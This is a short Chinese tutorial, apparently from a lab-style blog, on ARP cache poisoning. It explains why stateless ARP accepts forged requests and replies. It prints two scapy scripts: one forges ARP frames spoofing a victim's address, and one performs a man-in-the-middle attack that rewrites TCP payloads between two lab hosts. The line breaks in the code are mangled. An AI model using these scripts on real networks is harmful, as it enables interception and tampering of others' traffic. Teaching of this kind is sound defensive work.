MAC与ARP缓存中毒介绍

时间:2021-12-11 19:18:14

ARP 协议

用于地址解析,请求MAC地址。

MAC与ARP缓存中毒介绍

arp -a 或者 -n 查看ARP缓存表

MAC与ARP缓存中毒介绍

ls(ARP) 查看scapy里的协议字段

MAC与ARP缓存中毒介绍

ARP缓存中毒原理

ARP收到ARP请求报文,会将发送方的mac地址写入到自己的ARP缓存表。 --伪造ARP请求报文

ARP无状态,无法判断响应是不是请求的结果,即使没有请求,也可以收到响应。

即使不是对这个请求的响应,也会更新自己的cache。 --伪造ARP响应报文

from scapy.all import *

DS_MAC='FF:FF:FF:FF:FF:FF'
DS_IP ='10.0.2.5' VIM_MAC='aa:bb:cc:dd:ee:ff'
VIM_IP='10.0.2.99' e=Ether()
e.dst=DS_MAC
e.src=VIM_MAC a=ARP()
a.op=1
a.hwsrc=VIM_MAC
a.psrc=VIM_IP
a.hwdst=DS_MAC
a.pdst=DS_IP frame=e/a
sendp(frame)

op为1表示请求包,响应包为2

ARP 缓存中毒 实现中间人攻击

MAC与ARP缓存中毒介绍

注意:需要 sudo sysctl net.ipv4.ip_forward=0

先进行ARP缓存的中毒,这样二者通信的数据包可通过攻击者,然后攻击者再进行修改TCP报文。

from scapy.all import *

def spoof_pkt(pkt):
if pkt[IP].src=='10.0.2.4' and pkt[IP].dst =='10.0.2.5' and pkt[TCP].payload:
data = pkt[TCP].payload.load newpkt = pkt[IP]
del(newpkt.chksum)
del(newpkt[TCP].chksum)
del(newpkt[TCP].payload) newdata = data.replace(b'hello',b'hacker')
newpkt = newpkt/newdata
send(newpkt,verbose=0) elif pkt[IP].src=='10.0.2.5' and pkt[IP].dst == '10.0.2.4':
newpkt=pkt[IP]
send(newpkt,verbose=0) pkt = sniff(filter='tcp',prn=spoof_pkt)